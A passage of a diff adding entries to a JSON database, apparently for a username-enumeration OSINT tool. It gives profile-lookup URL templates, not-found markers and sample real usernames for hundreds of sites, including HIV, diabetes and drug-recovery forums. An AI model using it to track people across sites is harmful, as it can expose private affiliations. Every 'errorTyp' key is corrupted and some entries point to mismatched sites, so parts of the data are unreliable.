+ "country_klas": "US",
+ "errorMsg": "Page not found",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://type2diabetes.com/members/{}",
+ "urlMain": "https://type2diabetes.com",
+ "usernameON": "girlsaylor",
+ "bad_site": ""
+ },
+ "Forum_u-hiv": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://forum.u-hiv.ru/index/8-0-{}",
+ "urlMain": "https://forum.u-hiv.ru",
+ "usernameON": "Slavochka",
+ "bad_site": ""
+ },
+ "Forum_u-project": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://u-project.pro/members/?username={}",
+ "urlMain": "https://u-project.pro",
+ "usernameON": "takeshi",
+ "bad_site": 1,
+ "comments": "vzlom",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_ua-vet": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "http://forum.ua-vet.com/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://forum.ua-vet.com",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Forum_uahack": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://uahack.at.ua/index/8-0-{}",
+ "urlMain": "https://uahack.at.ua",
+ "usernameON": "alexeiuslugivzloma",
+ "bad_site": ""
+ },
+ "Forum_uaksu": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://uc-portaller.ucoz.com/index/8-0-{}",
+ "urlMain": "http://uc-portaller.ucoz.com",
+ "usernameON": "use_vse",
+ "bad_site": ""
+ },
+ "Forum_ucoz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://forum.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://forum.ucoz.ru",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Forum_ucozweber": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ucozweber.3dn.ru/index/8-0-{}",
+ "urlMain": "https://ucozweber.3dn.ru",
+ "usernameON": "SoVeR",
+ "bad_site": ""
+ },
+ "Forum_ucozzz": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "http://ucozzz.ru/index/8-0-{}",
+ "urlMain": "http://ucozzz.ru",
+ "usernameON": "podrubaj",
+ "comments": "vzlom",
+ "bad_site": 1
+ },
+ "Forum_ufachgk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>Форум Uinsell.Net",
+ "errorTyp��": "message",
+ "url": "http://forum.uinsell.net/member.php?username={}",
+ "urlMain": "http://forum.uinsell.net",
+ "usernameON": "ghost",
+ "bad_site": ""
+ },
+ "Forum_uk_muscle": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.uk-muscle.co.uk/members/?username={}",
+ "urlMain": "https://www.uk-muscle.co.uk",
+ "usernameON": "zenol",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ukbusiness": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.ukbusinessforums.co.uk/members/?username={}",
+ "urlMain": "https://www.ukbusinessforums.co.uk",
+ "usernameON": "fisicx",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_ukraine_de": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorMsg": "Es wurden keine passenden",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://ukraineforum.de/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche",
+ "urlMain": "https://ukraineforum.de",
+ "usernameON": "Handrij",
+ "bad_site": ""
+ },
+ "Forum_ukriversguidebook": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "Information",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.ukriversguidebook.co.uk/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://www.ukriversguidebook.co.uk",
+ "usernameON": "Franky",
+ "bad_site": ""
+ },
+ "Forum_uktechhub": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "robots\" content=\"noindex, nofollow",
+ "errorMsg2": "Page not found",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://uktechhub.com/forums/users/{}/",
+ "urlMain": "https://uktechhub.com",
+ "usernameON": "uk-sentinel",
+ "bad_site": ""
+ },
+ "Forum_ulanovka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Результатов поиска нет",
+ "errorMsg2": "По вашему запросу ничего не найдено",
+ "errorMsg3": "возникла проблема",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://ulanovka.ru/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://ulanovka.ru",
+ "usernameON": "mac",
+ "bad_site": ""
+ },
+ "Forum_ulfishing": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "Sorry, ",
+ "errorTyp��": "message",
+ "url": "https://ulfishing.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://ulfishing.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_ulisp": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "http://forum.ulisp.com/u/{}",
+ "urlMain": "http://forum.ulisp.com",
+ "usernameON": "nanomonkey",
+ "bad_site": ""
+ },
+ "Forum_ulybka_borda": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "профиль забанен или удален",
+ "errorMsg2": "/noindex>-->",
+ "errorTyp��": "message",
+ "url": "https://sign-forum.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://sign-forum.ru",
+ "usernameON": "KalinaAlexandr",
+ "bad_site": ""
+ },
+ "Signal_community": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Oops! That page doesn’t exist or is private.",
+ "errorMsg2": "Signal Community ",
+ "errorTyp��": "message",
+ "url": "https://community.signalusers.org/u/{}/summary",
+ "urlMain": "https://community.signalusers.org",
+ "usernameON": "whatnoww",
+ "bad_site": ""
+ },
+ "Silver-collector": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.silver-collector.com/u/{}/summary",
+ "urlMain": "https://www.silver-collector.com",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Similarworlds": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://similarworlds.com/{}",
+ "urlMain": "https://similarworlds.com",
+ "usernameON": "Messygirl3",
+ "bad_site": ""
+ },
+ "Skodaforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorMsg3": "FASTPANEL",
+ "errorTyp��": "message",
+ "url": "http://www.skodaforum.ru/member.php?username={}",
+ "urlMain": "http://www.skodaforum.ru",
+ "usernameON": "rivera",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Skyblock": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://skyblock.net/members/?username={}",
+ "urlMain": "https://skyblock.net",
+ "usernameON": "noobcrew",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Skynetzone": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "url": "https://skynetzone.net/members/?username={}",
+ "urlMain": "https://skynetzone.net",
+ "usernameON": "battarismos",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Skyrimforums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://skyrimforum.com/forum/members/?username={}",
+ "urlMain": "https://skyrimforum.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Skyscrapercity": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W|[а-яА-Я]",
+ "errorTyp��": "redirection",
+ "url": "https://www.skyscrapercity.com/members/?username={}",
+ "urlMain": "https://www.skyscrapercity.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Slack": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://{}.slack.com",
+ "urlMain": "https://slack.com",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Slamdunk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members",
+ "urlMain": "https://www.slamdunk.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Slashdot": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": " - Slashdot User",
+ "errorMsg2": "The user you requested does not exist, no matter how much you wish this might be the case.",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://slashdot.org/~{}",
+ "urlMain": "https://slashdot.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Slides": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "title>Slides: 404Page no longer exists <",
+ "errorMsg2": "gen\">01.01.1970",
+ "errorTyp��": "message",
+ "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}",
+ "urlMain": "https://www.smallcar.ru",
+ "usernameON": "lukey",
+ "bad_site": ""
+ },
+ "Smart_lab": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://smart-lab.ru/profile/{}/",
+ "urlMain": "https://smart-lab.ru/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Smashcast": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.smashcast.tv/api/media/live/{}",
+ "urlMain": "https://www.smashcast.tv/",
+ "usernameON": "hello",
+ "bad_site": 1
+ },
+ "Smashrun": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://smashrun.com/{}/",
+ "urlMain": "https://smashrun.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Smogon": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://www.smogon.com/forums/members/?username={}",
+ "urlMain": "https://www.smogon.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Smolmama": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://smolmama.com",
+ "usernameON": "Kisma",
+ "bad_site": ""
+ },
+ "Smugmug": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://{}.smugmug.com/",
+ "urlMain": "https://smugmug.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Smule": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Right tune, wrong note",
+ "errorMsg2": "Page Not Found",
+ "errorTyp��": "message",
+ "url": "https://www.smule.com/{}",
+ "urlMain": "https://www.smule.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Snapchat": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.snapchat.com/add/{}",
+ "urlMain": "https://www.snapchat.com",
+ "usernameON": "adam22hoe",
+ "bad_site": ""
+ },
+ "Snbforums": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://www.snbforums.com/members/?username={}",
+ "urlMain": "https://www.snbforums.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Snowjapan": {
+ "country": "🇯🇵",
+ "country_klas": "JP",
+ "errorMsg": "Found 0 results",
+ "errorMsg2": "large ipsType_light'>There were no results for",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://www.snowjapan.com",
+ "usernameON": "nisoko",
+ "bad_site": ""
+ },
+ "Soborno": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://soborno.ru",
+ "usernameON": "arinasha",
+ "bad_site": ""
+ },
+ "Soc-life.": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://soc-life.com/index/8-0-{}",
+ "urlMain": "http://soc-life.com",
+ "usernameON": "Ilona54",
+ "bad_site": ""
+ },
+ "Sochi_profi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://sochi.profi.ru/profile/{}/",
+ "urlMain": "https://sochi.profi.ru",
+ "usernameON": "Irina",
+ "bad_site": ""
+ },
+ "Social_librem": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://social.librem.one/@{}",
+ "urlMain": "https://social.librem.one",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Social_microsoft": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "The resource you are looking for has been removed",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://social.microsoft.com/profile/{}",
+ "urlMain": "https://social.microsoft.com",
+ "usernameON": "shartbandiha",
+ "bad_site": 1
+ },
+ "Social_tchncs": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorTyp��": "status_code",
+ "url": "https://social.tchncs.de/@{}",
+ "urlMain": "https://social.tchncs.de/",
+ "usernameON": "Milan",
+ "bad_site": ""
+ },
+ "Socialblade": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "url": "https://socialblade.com/youtube/user/{}",
+ "urlMain": "https://socialblade.com",
+ "usernameON": "fred",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Socioforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.socioforum.su",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Socionics": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "http://www.socionics.org/user/Profile.aspx?username={}",
+ "urlMain": "http://www.socionics.org",
+ "usernameON": "RWinner",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Softboard": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "",
+ "errorTyp��": "message",
+ "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}",
+ "urlMain": "https://forum.sportbox.ru",
+ "usernameON": "Thedolphin",
+ "bad_site": ""
+ },
+ "Sports": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "%20",
+ "errorMsg": "Ничего не найдено",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.sports.ru/search/?query={}",
+ "urlMain": "https://www.sports.ru/",
+ "usernameON": "blue",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Sportsjournalists": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.sportsjournalists.com/members/?username={}",
+ "urlMain": "https://www.sportsjournalists.com",
+ "usernameON": "outofplace",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "SportsTracker": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "\"code\":\"404\"",
+ "errorMsg2": "Not found",
+ "errorTyp��": "message",
+ "url": "https://www.sports-tracker.com/view_profile/{}",
+ "urlMain": "https://www.sports-tracker.com/",
+ "urlProbe": "https://api.sports-tracker.com/apiserver/v1/user/name/{}",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Sportstracklive": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.sportstracklive.com/en/user/{}",
+ "urlMain": "https://www.sportstracklive.com",
+ "usernameON": "PaddyLewtas",
+ "bad_site": ""
+ },
+ "Spotify_community": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "\t\t0 results",
+ "errorMsg2": "No search results found",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}",
+ "urlMain": "https://community.spotify.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Sprashivai_CLOSEDEAD": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "url": "http://sprashivai.ru/{}?sl",
+ "urlMain": "http://sprashivai.ru",
+ "usernameON": "red",
+ "bad_site": 1
+ },
+ "Spursarmy": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": ">Ошибка",
+ "errorMsg2": "
Профиль",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://spursarmy.com/profile/{}",
+ "urlMain": "https://spursarmy.com",
+ "usernameON": "Sloock",
+ "bad_site": ""
+ },
+ "SPW": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.spw.ru/members/?username={}",
+ "urlMain": "https://forum.spw.ru",
+ "usernameON": "kato",
+ "ignore_status_code": true,
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "SQL": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "ничего не найдено",
+ "errorMsg2": "begin case_noresults",
+ "errorMsg3": "Òåõíè÷åñêîå Îáúÿâëåíèå ",
+ "errorTyp��": "message",
+ "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1",
+ "urlMain": "https://www.sql.ru",
+ "usernameON": "Birkhoff",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Srclog": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://srclog.com/{}",
+ "urlMain": "https://srclog.com/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Ssb_wiki": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.ssbwiki.com/User:{}",
+ "urlMain": "https://www.ssbwiki.com",
+ "usernameON": "NotBen",
+ "bad_site": ""
+ },
+ "Stackexchange": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No users matched your search",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation",
+ "urlMain": "https://unix.stackexchange.com",
+ "usernameON": "telcom",
+ "bad_site": ""
+ },
+ "Stackoverflow": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "p>No users matched your search",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://stackoverflow.com/users/?search={}",
+ "urlMain": "https://stackoverflow.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Stackoverflow_ES": {
+ "country": "🇪🇸",
+ "country_klas": "ES",
+ "errorMsg": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://stalkerbar.at.ua/index/8-0-{}",
+ "urlMain": "https://stalkerbar.at.ua",
+ "usernameON": "lordsfilmpw",
+ "bad_site": ""
+ },
+ "Star-girl": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено",
+ "errorMsg2": "Информация",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://star-girl.ru",
+ "usernameON": "Patricia",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Star_Citizen": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "404 -",
+ "errorMsg2": " ",
+ "errorTyp��": "message",
+ "url": "https://steamcommunity.com/groups/{}",
+ "urlMain": "https://steamcommunity.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Steamid": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Just a moment",
+ "errorMsg2": "Cloudflare ",
+ "errorMsg3": "profile information",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://steamid.uk/profile/{}",
+ "urlMain": "https://steamid.uk/",
+ "comments": "cf",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Stereo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://stereo.ru/user/{}",
+ "urlMain": "https://stereo.ru/",
+ "usernameON": "Yamiha",
+ "bad_site": ""
+ },
+ "Sti-club": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "404 Not Found",
+ "errorTyp��": "message",
+ "url": "http://www.sti-club.su/member.php?username={}",
+ "urlMain": "http://www.sti-club.su",
+ "usernameON": "Viktor85",
+ "bad_site": 1
+ },
+ "Stihi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Автор не найден",
+ "errorMsg2": "Поиск авторов",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.stihi.ru/avtor/{}",
+ "urlMain": "https://www.stihi.ru/",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Stop-narko_info": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://stop-narko.info",
+ "usernameON": "Ergo",
+ "bad_site": ""
+ },
+ "Stopgame": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://stopgame.ru/user/{}",
+ "urlMain": "https://stopgame.ru",
+ "usernameON": "Diml",
+ "bad_site": ""
+ },
+ "Store_kde": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://store.kde.org/u/{}",
+ "urlMain": "https://store.kde.org",
+ "usernameON": "statman",
+ "bad_site": ""
+ },
+ "Storycorps": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://archive.storycorps.org/user/{}/",
+ "urlMain": "https://archive.storycorps.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Stratege": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "Форум - Stratege.ru ",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.stratege.ru/forums/member.php?username={}",
+ "urlMain": "https://www.stratege.ru",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Strava": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://www.strava.com/athletes/{}",
+ "urlMain": "https://www.strava.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Studfile": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://studfile.net/users/{}/",
+ "urlMain": "https://studfile.net",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Stunited": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "http://stunited.org/profile/{}",
+ "urlMain": "http://stunited.org",
+ "usernameON": "mani-vel",
+ "bad_site": 1
+ },
+ "Subeta": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Invalid user",
+ "errorMsg2": "Error",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://subeta.net/users/{}",
+ "urlMain": "https://subeta.net/",
+ "usernameON": "Brioche",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Subforums": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://subforums.net/members/?username={}",
+ "urlMain": "https://subforums.net",
+ "usernameON": "romator",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Substack": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://{}.substack.com/",
+ "urlMain": "https://substack.com/",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Sugoidesu": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://sugoidesu.net/members/?username={}",
+ "urlMain": "https://sugoidesu.net",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Suicidegirls": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.suicidegirls.com/members/{}/",
+ "urlMain": "https://www.suicidegirls.com",
+ "usernameON": "dtimm87",
+ "bad_site": ""
+ },
+ "Suomi24": {
+ "country": "🇫🇮",
+ "country_klas": "FI",
+ "errorTyp��": "status_code",
+ "url": "https://www.suomi24.fi/profiili/{}",
+ "urlMain": "https://www.suomi24.fi",
+ "usernameON": "Kilgore",
